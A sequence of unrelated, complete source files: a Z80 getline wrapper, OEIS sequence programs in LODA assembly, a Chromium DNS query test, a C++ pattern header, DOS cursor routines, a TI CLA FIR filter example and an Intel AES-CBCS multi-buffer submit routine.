; size_t getline_callee(char **lineptr, size_t *n, FILE *stream) INCLUDE "clib_cfg.asm" SECTION code_clib SECTION code_stdio ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $02 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC _getline_callee, l0_getline_callee EXTERN asm_getline _getline_callee: pop af pop hl pop de pop bc push af l0_getline_callee: push bc ex (sp),ix call asm_getline pop ix ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC _getline_callee EXTERN _getline_unlocked_callee defc _getline_callee = _getline_unlocked_callee ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; A042968: Numbers not divisible by 4. ; 1,2,3,5,6,7,9,10,11,13,14,15,17,18,19,21,22,23,25,26,27,29,30,31,33,34,35,37,38,39,41,42,43,45,46,47,49,50,51,53,54,55,57,58,59,61,62,63,65,66,67,69,70,71,73,74,75,77,78,79,81,82,83,85,86,87,89,90,91,93,94,95,97,98,99,101,102,103,105,106,107,109,110,111,113,114,115,117,118,119,121,122,123,125,126,127,129,130,131,133 mul $0,4 div $0,3 add $0,1
; A190872: a(n) = 11*a(n-1) - 9*a(n-2), a(0)=0, a(1)=1. ; Submitted by Jon Maiga ; 0,1,11,112,1133,11455,115808,1170793,11836451,119663824,1209774005,12230539639,123647969984,1250052813073,12637749213947,127764766035760,1291672683467837,13058516623824367,132018628710857504,1334678266205013241,13493293269857428115,136414121572586590096,1379115697869735638021,13942545582413812707367,140955960125724319038848,1425032651141243195061025,14406755521422156274321643,145649016875372530261988848,1472478385936298426412982541,14886421093420929918184908319,150498326554203543262317148640 mov $3,1 lpb $0 sub $0,1 mul $2,9 add $2,$3 add $3,$2 lpe mov $0,$2
// Copyright (c) 2011 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "net/dns/dns_query.h" #include "base/bind.h" #include "net/base/dns_util.h" #include "net/base/io_buffer.h" #include "net/dns/dns_protocol.h" #include "testing/gtest/include/gtest/gtest.h" namespace net { namespace { TEST(DnsQueryTest, Constructor) { // This includes \0 at the end. const char qname_data[] = "\x03""www""\x07""example""\x03""com"; const uint8 query_data[] = { // Header 0xbe, 0xef, 0x01, 0x00, // Flags -- set RD (recursion desired) bit. 0x00, 0x01, // Set QDCOUNT (question count) to 1, all the // rest are 0 for a query. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Question 0x03, 'w', 'w', 'w', // QNAME: www.example.com in DNS format. 0x07, 'e', 'x', 'a', 'm', 'p', 'l', 'e', 0x03, 'c', 'o', 'm', 0x00, 0x00, 0x01, // QTYPE: A query. 0x00, 0x01, // QCLASS: IN class. }; base::StringPiece qname(qname_data, sizeof(qname_data)); DnsQuery q1(0xbeef, qname, dns_protocol::kTypeA); EXPECT_EQ(dns_protocol::kTypeA, q1.qtype()); ASSERT_EQ(static_cast<int>(sizeof(query_data)), q1.io_buffer()->size()); EXPECT_EQ(0, memcmp(q1.io_buffer()->data(), query_data, sizeof(query_data))); EXPECT_EQ(qname, q1.qname()); base::StringPiece question(reinterpret_cast<const char*>(query_data) + 12, 21); EXPECT_EQ(question, q1.question()); } TEST(DnsQueryTest, Clone) { // This includes \0 at the end. const char qname_data[] = "\x03""www""\x07""example""\x03""com"; base::StringPiece qname(qname_data, sizeof(qname_data)); DnsQuery q1(0, qname, dns_protocol::kTypeA); EXPECT_EQ(0, q1.id()); scoped_ptr<DnsQuery> q2(q1.CloneWithNewId(42)); EXPECT_EQ(42, q2->id()); EXPECT_EQ(q1.io_buffer()->size(), q2->io_buffer()->size()); EXPECT_EQ(q1.qtype(), q2->qtype()); EXPECT_EQ(q1.question(), q2->question()); } } // namespace } // namespace net
; A082908: Largest value of gcd(2^n, binomial(n,j)) with j=0..n-1; maximal value of largest power of 2 dividing binomial(n,j) in the n-th row of Pascal's triangle. ; 1,1,2,1,4,2,4,1,8,4,8,2,8,4,8,1,16,8,16,4,16,8,16,2,16,8,16,4,16,8,16,1,32,16,32,8,32,16,32,4,32,16,32,8,32,16,32,2,32,16,32,8,32,16,32,4,32,16,32,8,32,16,32,1,64,32,64,16,64,32,64,8,64,32,64,16,64,32,64,4,64,32 add $0,1 mov $1,2 mov $2,2 lpb $0,1 gcd $2,$0 div $0,2 mul $1,2 div $1,$2 lpe add $2,9 add $1,$2 sub $1,14 div $1,4 add $1,1
; A077957: Powers of 2 alternating with zeros. ; 1,0,2,0,4,0,8,0,16,0,32,0,64,0,128,0,256,0,512,0,1024,0,2048,0,4096,0,8192,0,16384,0,32768,0,65536,0,131072,0,262144,0,524288,0,1048576,0,2097152,0,4194304,0,8388608,0,16777216,0,33554432,0,67108864,0,134217728,0,268435456,0,536870912,0,1073741824,0,2147483648,0,4294967296,0,8589934592,0,17179869184,0,34359738368,0,68719476736,0,137438953472,0,274877906944,0,549755813888,0,1099511627776,0,2199023255552,0,4398046511104,0,8796093022208,0,17592186044416,0,35184372088832,0,70368744177664,0,140737488355328,0,281474976710656,0,562949953421312,0,1125899906842624,0,2251799813685248,0,4503599627370496,0,9007199254740992,0 add $0,1 mov $2,11 lpb $0,1 sub $0,2 mul $2,2 lpe mul $0,$2 mov $1,$0 div $1,11
; A055796: T(2n+3,n), array T as in A055794. ; 1,5,16,42,98,210,420,792,1419,2431,4004,6370,9828,14756,21624,31008,43605,60249,81928,109802,145222,189750,245180,313560,397215,498771,621180,767746,942152,1148488,1391280,1675520,2006697,2390829,2834496,3344874,3929770,4597658,5357716,6219864,7194803,8294055,9530004,10915938,12466092,14195692,16121000,18259360,20629245,23250305,26143416,29330730,32835726,36683262,40899628,45512600,50551495,56047227,62032364,68541186,75609744,83275920,91579488,100562176,110267729,120741973,132032880,144190634,157267698,171318882,186401412,202575000,219901915,238447055,258278020,279465186,302081780,326203956,351910872,379284768,408411045,439378345,472278632,507207274,544263126,583548614,625169820,669236568,715862511,765165219,817266268,872291330,930370264,991637208,1056230672,1124293632,1195973625,1271422845,1350798240,1434261610,1521979706,1614124330,1710872436,1812406232,1918913283,2030586615,2147624820,2270232162,2398618684,2533000316,2673598984,2820642720,2974365773,3135008721,3302818584,3478048938,3660960030,3851818894,4050899468,4258482712,4474856727,4700316875,4935165900,5179714050,5434279200,5699186976,5974770880,6261372416,6559341217,6869035173,7190820560,7525072170,7872173442,8232516594,8606502756,8994542104,9397053995,9814467103,10247219556,10695759074,11160543108,11642038980,12140724024,12657085728,13191621877,13744840697,14317261000,14909412330,15521835110,16155080790,16809711996,17486302680,18185438271,18907715827,19653744188,20424144130,21219548520,22040602472,22887963504,23762301696,24664299849,25594653645,26554071808,27543276266,28563002314,29613998778,30697028180,31812866904,32962305363,34146148167,35365214292,36620337250,37912365260,39242161420,40610603880,42018586016,43467016605,44956820001,46488936312,48064321578,49683947950,51348803870,53059894252,54818240664,56624881511,58480872219,60387285420,62345211138,64355756976,66420048304,68539228448,70714458880,72946919409,75237808373,77588342832,79999758762,82473311250,85010274690,87611942980,90279629720,93014668411,95818412655,98692236356,101637533922,104655720468,107748232020,110916525720,114162080032,117486394949,120890992201,124377415464,127947230570,131602025718,135343411686,139173022044,143092513368,147103565455,151207881539,155407188508,159703237122,164097802232,168592683000,173189703120,177890711040,182697580185,187612209181,192636522080,197772468586,203022024282,208387190858,213869996340,219472495320,225196769187,231044926359,237019102516,243121460834,249354192220,255719515548,262219677896,268856954784,275633650413,282552097905,289614659544,296823727018,304181721662,311691094702,319354327500,327173931800,335152449975,343292455275 mov $2,$0 add $2,4 mov $1,$2 bin $1,4 bin $2,6 add $1,$2
#pragma once #include <iostream> #include <string> #include <utility> #include <vector> namespace tdc { /// \cond INTERNAL namespace pattern { /* Representation of an algorithm consisting of only those options that are relevant for selecting a statically defined implementation */ class Algorithm; class Arg; class Algorithm { std::string m_name; std::vector<Arg> m_arguments; public: inline Algorithm() {} inline Algorithm(std::string&& name, std::vector<Arg>&& args): m_name(std::move(name)), m_arguments(std::move(args)) {} inline Algorithm(const Algorithm& other): m_name(other.m_name), m_arguments(other.m_arguments) {} inline std::string& name() { return m_name; } inline const std::string& name() const { return m_name; } inline std::vector<Arg>& arguments() { return m_arguments; } inline const std::vector<Arg>& arguments() const { return m_arguments; } inline std::string to_string(bool omit_keyword = false) const; }; class Arg { std::string m_name; Algorithm m_algorithm; public: inline Arg(std::string&& name, Algorithm&& alg): m_name(std::move(name)), m_algorithm(std::move(alg)) {} inline std::string& name() { return m_name; } inline const std::string& name() const { return m_name; } inline Algorithm& algorithm() { return m_algorithm; } inline const Algorithm& algorithm() const { return m_algorithm; } inline std::string to_string(bool omit_keyword = false) const; }; inline std::ostream& operator<<(std::ostream& os, const Algorithm& x) { os << x.to_string(); return os; } inline std::ostream& operator<<(std::ostream& os, const Arg& x) { os << x.to_string(); return os; } inline std::string Algorithm::to_string(bool omit_keyword) const { std::stringstream ss; ss << name(); if (arguments().size() > 0) { ss << "("; bool first = true; for (auto& a: arguments()) { if (!first) { ss << ", "; } ss << a.to_string(omit_keyword); first = false; } ss << ")"; } return ss.str(); } inline std::string Arg::to_string(bool omit_keyword) const { std::stringstream ss; if (omit_keyword) { ss << algorithm().to_string(omit_keyword); } else { ss << name() << " = " << algorithm().to_string(omit_keyword); } return ss.str(); } inline bool operator==(const Algorithm &lhs, const Algorithm &rhs); inline bool operator<(const Algorithm &lhs, const Algorithm &rhs); inline bool operator==(const Arg &lhs, const Arg &rhs); inline bool operator<(const Arg &lhs, const Arg &rhs); inline bool operator!=(const Algorithm &lhs, const Algorithm &rhs) { return !(lhs == rhs); } inline bool operator!=(const Arg &lhs, const Arg &rhs) { return !(lhs == rhs); } inline bool operator==(const Algorithm &lhs, const Algorithm &rhs) { if (lhs.name() != rhs.name()) return false; if (lhs.arguments() != rhs.arguments()) return false; return true; } inline bool operator<(const Algorithm &lhs, const Algorithm &rhs) { if (lhs.name() != rhs.name()) return lhs.name() < rhs.name(); if (lhs.arguments() != rhs.arguments()) return lhs.arguments() < rhs.arguments(); return false; } inline bool operator==(const Arg &lhs, const Arg &rhs) { if (lhs.name() != rhs.name()) return false; if (lhs.algorithm() != rhs.algorithm()) return false; return true; } inline bool operator<(const Arg &lhs, const Arg &rhs) { if (lhs.name() != rhs.name()) return lhs.name() < rhs.name(); if (lhs.algorithm() != rhs.algorithm()) return lhs.algorithm() < rhs.algorithm(); return false; } } /// \endcond }
; A002383: Primes of form n^2 + n + 1. ; Submitted by Jon Maiga ; 3,7,13,31,43,73,157,211,241,307,421,463,601,757,1123,1483,1723,2551,2971,3307,3541,3907,4423,4831,5113,5701,6007,6163,6481,8011,8191,9901,10303,11131,12211,12433,13807,14281,17293,19183,20023,20593,21757,22651,23563,24181,26083,26407,27061,28057,28393,30103,31153,35533,35911,37057,37831,41413,42643,43891,46441,47743,53593,55933,60271,60763,71023,74257,77563,78121,82657,83233,84391,86143,95791,98911,108571,110557,113233,117307,118681,121453,123553,127807,136531,143263,145543,147073,154057,156421 seq $0,88503 ; Numbers n such that (n^2 + 3)/4 is prime. pow $0,2 div $0,4 add $0,1
; A055989: a(n) is its own 4th difference. ; 1,3,10,36,131,476,1728,6272,22765,82629,299915,1088589,3951206,14341527,52054840,188941273,685792227,2489191330,9034913540,32793647355,119029728628,432037221840,1568147413312,5691839002677,20659429692245,74986666876571,272175964826781,987905702640782,3585759962057263,13015082786872176,47240301007753649,171466142463123459,622363477454526842,2258966653738035876,8199276672807758515,29760571208965561228,108020699145478871712,392078208511093989376,1423109855845651203005,5165402253534642004389 lpb $0 sub $0,1 add $1,1 add $4,$1 add $2,$4 add $3,$2 add $1,$3 lpe add $1,1 mov $0,$1
; Copyright (c) 1997-2000 René Ladan. All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; 1. Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; ; THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND ; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE ; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS ; OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) ; HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT ; LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY ; OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF ; SUCH DAMAGE. [SEGMENT .text] GLOBAL SaveCursor,SetCursor,MoveCursor ; ------------------------------------------------------------------------------ ; SaveCursor - 1998-06-08. ; DOEL : Bewaart de huidige cursor in Cursor (word-variable). De cursor ; wordt gelezen d.m.v. INTerrupt 10h, functie 3. ; GEBRUIKT : AX,BX,CX,DX,Flags ; SCHRIJFT : Cursor,YPos,XPos ; ------------------------------------------------------------------------------ SaveCursor: push AX ; Bewaar de gebruikte registers push BX push CX push DX pushf mov AH,3 ; Vraag cursorinformatie xor BH,BH ; Pagina 0 INT 10h ; Roep BIOS aan mov [Cursor],CX mov [YPos],DH mov [XPos],DL popf ; Herstel de gebruikte registers pop DX pop CX pop BX pop AX RET ; ------------------------------------------------------------------------------ ; SetCursor - 1999-06-08. ; DOEL : Stelt een nieuwe cursor in d.m.v. INTerrupt 10h, functie 1. ; In hi(Cursor) staat de startregel, in lo(Cursor) de eindregel. ; LEEST : Cursor ; GEBRUIKT : AX,BX,CX,Flags ; ------------------------------------------------------------------------------ SetCursor: push AX ; Bewaar de gebruikte registers push BX push CX pushf mov AH,1 ; Stel cursor in xor BH,BH ; Op pagina 0 mov CX,[Cursor] INT 0x10 ; Roep BIOS aan popf ; Herstel de gebruikte registers pop CX pop BX pop AX RET ; ------------------------------------------------------------------------------ ; MoveCursor - 1999-06-08 ; DOEL : Verplaatst de cursor d.m.v. INTerrupt 10h, functie 2. ; LEEST : XPos,YPos ; GEBRUIKT : AX,BX,DX,Flags ; ------------------------------------------------------------------------------ MoveCursor: push AX ; Bewaar de registers push BX push DX pushf mov AH,2 ; 2 = Set cursor position mov DH,[YPos] ; Regel mov DL,[XPos] ; Kolom xor BH,BH ; Pagina 0 INT 0x10 ; Roep BIOS aan popf ; Herstel de registers pop DX pop BX pop AX RET COMMON Cursor 2 ; 2 bytes [SEGMENT .bss] EXTERN XPos,YPos
;;############################################################################# ;; ;; FILE: cla_ex2_fir32.asm ;; ;; TITLE: 5-Tap FIR Filter Example ;; ;;############################################################################# ;; $TI Release: F28004x Support Library v1.10.00.00 $ ;; $Release Date: Tue May 26 17:06:03 IST 2020 $ ;; $Copyright: ;// Copyright (C) 2020 Texas Instruments Incorporated - http://www.ti.com/ ;// ;// Redistribution and use in source and binary forms, with or without ;// modification, are permitted provided that the following conditions ;// are met: ;// ;// Redistributions of source code must retain the above copyright ;// notice, this list of conditions and the following disclaimer. ;// ;// Redistributions in binary form must reproduce the above copyright ;// notice, this list of conditions and the following disclaimer in the ;// documentation and/or other materials provided with the ;// distribution. ;// ;// Neither the name of Texas Instruments Incorporated nor the names of ;// its contributors may be used to endorse or promote products derived ;// from this software without specific prior written permission. ;// ;// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ;// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ;// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ;// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ;// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ;// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ;// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ;// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ;// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ;// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;// $ ;;############################################################################# ;;***************************************************************************** ;; includes ;;***************************************************************************** .cdecls C, LIST, "cla_ex2_adc_fir32_shared.h" ;;***************************************************************************** ;; defines ;;***************************************************************************** ;// To include an MDEBUGSTOP (CLA breakpoint) as the first instruction ;// of each task, set CLA_DEBUG to 1. Use any other value to leave out ;// the MDEBUGSTOP instruction. CLA_DEBUG .set 1 ;;***************************************************************************** ;; function definitions ;;***************************************************************************** ;// CLA code must be within its own assembly section and must be ;// even aligned. Note: since all CLA instructions are 32-bit ;// this alignment naturally occurs and the .align 2 is most likely ;// redundant .sect "Cla1Prog" _Cla1Prog_Start .align 2 _Cla1Task1: MSTOP MNOP MNOP MNOP _Cla1T1End: _Cla1Task2: MSTOP MNOP MNOP MNOP _Cla1T2End: _Cla1Task3: MSTOP MNOP MNOP MNOP _Cla1T3End: _Cla1Task4: MSTOP MNOP MNOP MNOP _Cla1T4End: _Cla1Task5: MSTOP MNOP MNOP MNOP _Cla1T5End: _Cla1Task6: MSTOP MNOP MNOP MNOP _Cla1T6End: _Cla1Task7: .if CLA_DEBUG == 1 MDEBUGSTOP .endif ;//============================================== ;// CLA Task 7 ;// ;// This task: ;// ;// 1. Is triggered by the late ADC interrupt. ;// This interrupt occurs at the end of the ;// sample conversion ;// 2. Reads the ADC RESULT1 register as soon ;// as it is available ;// 3. It will then run a FIR filter and places the ;// result into VoltFilt. ;// 4. The main CPU will take an interrupt at the ;// end of the task. It will log the ;// ADC RESULT1 register for comparison as ;// well as the CLA generated VoltFilt value ;// ;// Before starting the ADC conversions, force ;// Task 8 to initialize the filter states and ;// coefficients. ;// ;//============================================== ; X and A are arrays of 32-bit float (i.e. 2 words) ; Use these defines to make the code easier to read ; _X4 .set _X+8 _X3 .set _X+6 _X2 .set _X+4 _X1 .set _X+2 _X0 .set _X+0 _A4 .set _A+8 _A3 .set _A+6 _A2 .set _A+4 _A1 .set _A+2 _A0 .set _A+0 ; CLA 5-tap FIR Filter ; ; Coefficients A[0, 1, 2, 3, 4] ; Data X[0, 1, 2, 3, 4] (Delay Line - X[0] is newest value) ; ; Equations ; ; Y = A4 * X4 First Calculation of sum of products. ; X4 = X3 X4 can now be updated, because it has been used. ; Y = Y + A3 * X3 Second product, 1st add. ; X3 = X2 X3 update ; Y = Y + A2 * X2 Third product, 2nd add. ; X2 = X1 ; Y = Y + A1 * X1 Fourth product, 3rd add. ; X1 = X0 ; Y = Y = A0 * X0 ; MMOV32 MR0,@_X4 ; Load MR0 with X4 MMOV32 MR1,@_A4 ; Load MR1 with A4 MUI16TOF32 MR2, @_AdcaResultRegs.ADCRESULT0 ; Read ADCRESULT0 and convert to float MMPYF32 MR2, MR1, MR0 ; MR2 (Y) = MR1 (A4) * MR0 (X4) || MMOV32 @_X0, MR2 MMOVD32 MR0,@_X3 ; Load MR0 with X3, Load X4 with X3 MMOV32 MR1,@_A3 ; Load MR1 with A3 MMPYF32 MR3, MR1, MR0 ; MR3 (Y) = MR1 (A3) * MR0 (X3) || MMOV32 MR1,@_A2 ; Load MR1 with A2 MMOVD32 MR0,@_X2 ; Load MR0 with X2, Load X3 with X2 MMACF32 MR3, MR2, MR2, MR1, MR0 ; MR3 = A3*X3 + A4*X4 || MMOV32 MR1,@_A1 ; MR2 = MR1 (A2) * MR0 (X2) MMOVD32 MR0,@_X1 ; Load MR0 with X1, Load X2 with X1 MMACF32 MR3, MR2, MR2, MR1, MR0 ; MR3 = A2*X2 + (A3*X3 + A4*X4) || MMOV32 MR1,@_A0 ; MR2 = MR1 (A1) * MR0 (X1) MMOVD32 MR0,@_X0 ; Load MR0 with X0, Load X1 with X0 MMACF32 MR3, MR2, MR2, MR1, MR0 ; MR3 = A1*X1 + (A2*X2 +A3*X3 + A4*X4) || MMOV32 MR1,@_A0 ; MR2 = MR1 (A0) * MR0 (X0) MADDF32 MR3, MR3, MR2 ; MR3 = A0*X0 + (A1*X1 + A2*X2 +A3*X3 + A4*X4) MF32TOUI16 MR2, MR3 ; Get back to Uint16 value MMOV16 @_voltFilt, MR2 ; Output MSTOP ; End task _Cla1T7End: _Cla1Task8: ;============================================== ; This task initializes the filter input delay ; line (X0 to X4) to zero ;============================================== .if CLA_DEBUG == 1 MDEBUGSTOP .endif MMOVIZ MR0, #0.0 MUI16TOF32 MR0, MR0 MMOV32 @_X0, MR0 MMOV32 @_X1, MR0 MMOV32 @_X2, MR0 MMOV32 @_X3, MR0 MMOV32 @_X4, MR0 MSTOP _Cla1T8End: _Cla1Prog_End: .end ;; End of file
; A106269: Expansion of 1/((1 - x^2)*(2 - c(x))), where c(x) is the g.f. of A000108. ; 1,1,4,11,39,137,501,1853,6936,26163,99314,378879,1451392,5579179,21509692,83137939,322049887,1249941049,4859617537,18922572949,73782881947,288051510169,1125832363807,4404766873969,17249634205357,67610070092845,265208900679409,1041079782916901,4089554201059629,16074713032687421,63221844983490341,248788889660317965,979533915454785608,3858503106668450835,15206054653075073978,59951642014999873551,236462324791493463580,933016924182812978467,3682772649138124140880,14541524358782328986267,57436377015806212371690,226933814783178189800687,896891620121751757495350,3545710357295055926336087,14021144310964177351976250,55459421001071761611171647,219418869031993752018064770,868309991173656886885479407,3436952375965143206228866320,13607116120664085338250693707,53882624648747239873635114948,213411543554036311354251913763,845415548711721827552409179016,3349674072860162036119205752523,13274307794480442292361670688176,52613283337907090423908642279739,208569330238059336972526936921068,826940916184377795647020048746995,3279178908767167305960727341877428,13005290770011687367566323349760355,51586633328948828607907297102563756,204651257486142212532665829613466771,811988372234886073617818241310173084 lpb $0 mov $2,$0 add $2,$0 bin $2,$0 sub $0,2 add $1,$2 lpe mul $1,2 div $1,4 add $1,1 mov $0,$1
;; ;; Copyright (c) 2020-2021, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %include "include/os.asm" %include "include/imb_job.asm" %include "include/mb_mgr_datastruct.asm" %include "include/cet.inc" %include "include/reg_sizes.asm" %include "include/const.inc" %define NUM_LANES 8 %ifndef AES_CBCS_ENC_X8 %define AES_CBCS_ENC_X8 aes_cbcs_1_9_enc_128_x8 %define SUBMIT_JOB_AES_CBCS_ENC submit_job_aes128_cbcs_1_9_enc_avx %endif ; void aes_cbcs_1_9_enc_128_x8(AES_ARGS *args, UINT64 len_in_bytes); extern AES_CBCS_ENC_X8 section .text %ifdef LINUX %define arg1 rdi %define arg2 rsi %else %define arg1 rcx %define arg2 rdx %endif %define state arg1 %define job arg2 %define len2 arg2 %define job_rax rax ; idx needs to be in rbp %define len rbp %define idx rbp %define tmp rbp %define lane r8 %define tmp2 r8 %define iv r9 %define tmp3 r9 %define unused_lanes rbx ; STACK_SPACE needs to be an odd multiple of 8 ; This routine and its callee clobbers all GPRs struc STACK _gpr_save: resq 8 _rsp_save: resq 1 endstruc ; JOB* submit_job_aes128_cbcs_1_9_enc_avx(MB_MGR_AES_OOO *state, IMB_JOB *job) ; arg 1 : state ; arg 2 : job MKGLOBAL(SUBMIT_JOB_AES_CBCS_ENC,function,internal) SUBMIT_JOB_AES_CBCS_ENC: mov rax, rsp sub rsp, STACK_size and rsp, -16 mov [rsp + _gpr_save + 8*0], rbx mov [rsp + _gpr_save + 8*1], rbp mov [rsp + _gpr_save + 8*2], r12 mov [rsp + _gpr_save + 8*3], r13 mov [rsp + _gpr_save + 8*4], r14 mov [rsp + _gpr_save + 8*5], r15 %ifndef LINUX mov [rsp + _gpr_save + 8*6], rsi mov [rsp + _gpr_save + 8*7], rdi %endif mov [rsp + _rsp_save], rax ; original SP mov unused_lanes, [state + _aes_unused_lanes] mov lane, unused_lanes and lane, 0xF shr unused_lanes, 4 mov len, [job + _msg_len_to_cipher_in_bytes] and len, -16 ; Buffer might not be aligned to block size mov iv, [job + _iv] mov [state + _aes_unused_lanes], unused_lanes mov [state + _aes_job_in_lane + lane*8], job mov [state + _aes_lens_64 + lane*8], len mov tmp, [job + _src] add tmp, [job + _cipher_start_src_offset_in_bytes] vmovdqu xmm0, [iv] mov [state + _aes_args_in + lane*8], tmp mov tmp, [job + _enc_keys] mov [state + _aes_args_keys + lane*8], tmp mov tmp, [job + _dst] mov [state + _aes_args_out + lane*8], tmp shl lane, 4 ; multiply by 16 vmovdqa [state + _aes_args_IV + lane], xmm0 cmp unused_lanes, 0xf jne return_null ; Find min length mov len2, [state + _aes_lens_64 + 8*0] xor idx, idx mov tmp2, 1 %assign I 1 %rep 7 cmp len2, [state + _aes_lens_64 + 8*I] cmova len2, [state + _aes_lens_64 + 8*I] cmova idx, tmp2 %if I != 7 inc tmp2 %endif %assign I (I+1) %endrep or len2, len2 jz len_is_0 ; Round up to multiple of 16*10 ; N = (length + 159) / 160 --> Number of 160-byte blocks mov rax, len2 xor rdx, rdx ;; zero rdx for div add rax, 159 mov tmp2, 160 div tmp2 ; Number of 160-byte blocks in rax mov tmp2, 160 mul tmp2 ; Number of bytes to process in rax mov len2, rax xor tmp2, tmp2 %assign I 0 %rep NUM_LANES mov tmp3, [state + _aes_lens_64 + 8*I] sub tmp3, len2 cmovs tmp3, tmp2 ; 0 if negative number mov [state + _aes_lens_64 + 8*I], tmp3 %assign I (I+1) %endrep ; "state" and "args" are the same address, arg1 ; len is arg2 call AES_CBCS_ENC_X8 ; state and idx are intact len_is_0: ; process completed job "idx" mov job_rax, [state + _aes_job_in_lane + idx*8] mov unused_lanes, [state + _aes_unused_lanes] mov qword [state + _aes_job_in_lane + idx*8], 0 or dword [job_rax + _status], IMB_STATUS_COMPLETED_CIPHER shl unused_lanes, 4 or unused_lanes, idx mov [state + _aes_unused_lanes], unused_lanes ;; store last cipher block as next iv shl idx, 3 ; multiply by 8 mov tmp2, [job_rax + _cbcs_next_iv] vmovdqa xmm0, [state + _aes_args_IV + idx*2] vmovdqu [tmp2], xmm0 %ifdef SAFE_DATA ;; Clear IV vpxor xmm0, xmm0 vmovdqa [state + _aes_args_IV + idx*2], xmm0 mov qword [state + _aes_args_keys + idx], 0 %endif return: mov rbx, [rsp + _gpr_save + 8*0] mov rbp, [rsp + _gpr_save + 8*1] mov r12, [rsp + _gpr_save + 8*2] mov r13, [rsp + _gpr_save + 8*3] mov r14, [rsp + _gpr_save + 8*4] mov r15, [rsp + _gpr_save + 8*5] %ifndef LINUX mov rsi, [rsp + _gpr_save + 8*6] mov rdi, [rsp + _gpr_save + 8*7] %endif mov rsp, [rsp + _rsp_save] ; original SP ret return_null: xor job_rax, job_rax jmp return %ifdef LINUX section .note.GNU-stack noalloc noexec nowrite progbits %endif
